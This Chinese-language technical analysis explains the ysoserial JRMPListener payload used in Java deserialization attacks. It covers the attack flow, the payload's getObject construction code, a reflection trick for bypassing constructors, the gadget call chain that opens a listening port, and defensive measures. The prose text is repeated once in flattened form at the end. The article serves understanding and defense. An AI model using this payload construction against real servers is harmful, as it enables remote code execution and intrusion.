payloads/JRMPListener
字数 958 2025-08-05 08:19:37

JRMPListener 攻击原理与利用分析

概述

JRMPListener 是 Java 远程方法协议(Java Remote Method Protocol)的一个利用模块,主要用于在 Java 反序列化漏洞中建立远程控制通道。本文将详细分析其工作原理、攻击流程和实现细节。

攻击流程

  1. 生成并发送 JRMPListener payload:攻击者生成 JRMPListener payload 并发送给目标服务器
  2. 服务器反序列化:当服务器反序列化该 payload 后,会开启一个指定端口进行监听
  3. 发送 exploit:攻击者使用 exploit/JRMPClient 模块发送实际攻击 payload
  4. 完成攻击:服务器反序列化攻击 payload,执行恶意代码

技术实现分析

Payload 生成过程

通过 ysoserial 工具生成 JRMPListener payload 的核心代码如下:

// 设置启动参数
主类: ysoserial.GeneratePayload
参数: JRMPListener 1199

JRMPListener.getObject 方法分析

public Object getObject(final String command) throws Exception {
    // 获取监听端口
    int jrmpPort = Integer.parseInt(command);
    
    // 创建 UnicastServerRef 对象
    UnicastServerRef ref = new UnicastServerRef(jrmpPort);
    
    // 使用反射构造 UnicastRemoteObject 对象
    Remote uro = Reflections.createWithConstructor(
        ActivationGroupImpl.class, 
        RemoteObject.class, 
        new Class[] { RemoteRef.class },
        ref
    );
    
    // 设置端口号
    Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
    
    return uro;
}

反射构造对象的关键技术

ysoserial 使用 ReflectionFactory.newConstructorForSerialization() 方法来绕过常规的构造函数限制:

// 获取 Person 类的有参构造函数
Constructor<Person> personConst = Person.class.getDeclaredConstructor(String.class);

// 创建 User 类的 Constructor 对象
Constructor constructor = ReflectionFactory.getReflectionFactory()
    .newConstructorForSerialization(
        User.class,
        personConst
    );

// 实例化对象
User user = (User) constructor.newInstance("xxx");

这种方法的特点:

  1. 不需要目标类(User)有可用的构造函数
  2. 可以使用父类(Person)的构造函数来创建子类实例
  3. 适用于各种复杂的类继承关系

Gadget 调用链分析

完整的调用链如下:

UnicastRemoteObject.readObject(ObjectInputStream) line: 235
UnicastRemoteObject.reexport() line: 266
UnicastRemoteObject.exportObject(Remote, int) line: 320
UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
LiveRef.exportObject(Target) line: 147
TCPEndpoint.exportObject(Target) line: 411
TCPTransport.exportObject(Target) line: 249
TCPTransport.listen() line: 319

关键点:

  1. 反序列化触发 UnicastRemoteObject.readObject
  2. 调用 reexport() 方法重新导出远程对象
  3. 最终通过 TCPTransport 在指定端口开启监听

防御措施

  1. 升级 Java 环境:使用最新版本的 JDK/JRE
  2. 限制反序列化:对反序列化操作进行严格管控
  3. 使用安全框架:如 Apache Shiro、Spring Security 等
  4. 网络隔离:限制不必要的网络端口开放
  5. 代码审计:检查项目中是否存在不安全的反序列化操作

总结

JRMPListener 利用 Java 反序列化漏洞和 RMI 机制,通过精心构造的序列化对象在目标服务器上开启监听端口,为后续攻击创造条件。理解其工作原理有助于更好地防御此类攻击。

JRMPListener 攻击原理与利用分析 概述 JRMPListener 是 Java 远程方法协议(Java Remote Method Protocol)的一个利用模块,主要用于在 Java 反序列化漏洞中建立远程控制通道。本文将详细分析其工作原理、攻击流程和实现细节。 攻击流程 生成并发送 JRMPListener payload :攻击者生成 JRMPListener payload 并发送给目标服务器 服务器反序列化 :当服务器反序列化该 payload 后,会开启一个指定端口进行监听 发送 exploit :攻击者使用 exploit/JRMPClient 模块发送实际攻击 payload 完成攻击 :服务器反序列化攻击 payload,执行恶意代码 技术实现分析 Payload 生成过程 通过 ysoserial 工具生成 JRMPListener payload 的核心代码如下: JRMPListener.getObject 方法分析 反射构造对象的关键技术 ysoserial 使用 ReflectionFactory.newConstructorForSerialization() 方法来绕过常规的构造函数限制: 这种方法的特点: 不需要目标类(User)有可用的构造函数 可以使用父类(Person)的构造函数来创建子类实例 适用于各种复杂的类继承关系 Gadget 调用链分析 完整的调用链如下: 关键点: 反序列化触发 UnicastRemoteObject.readObject 调用 reexport() 方法重新导出远程对象 最终通过 TCPTransport 在指定端口开启监听 防御措施 升级 Java 环境 :使用最新版本的 JDK/JRE 限制反序列化 :对反序列化操作进行严格管控 使用安全框架 :如 Apache Shiro、Spring Security 等 网络隔离 :限制不必要的网络端口开放 代码审计 :检查项目中是否存在不安全的反序列化操作 总结 JRMPListener 利用 Java 反序列化漏洞和 RMI 机制,通过精心构造的序列化对象在目标服务器上开启监听端口,为后续攻击创造条件。理解其工作原理有助于更好地防御此类攻击。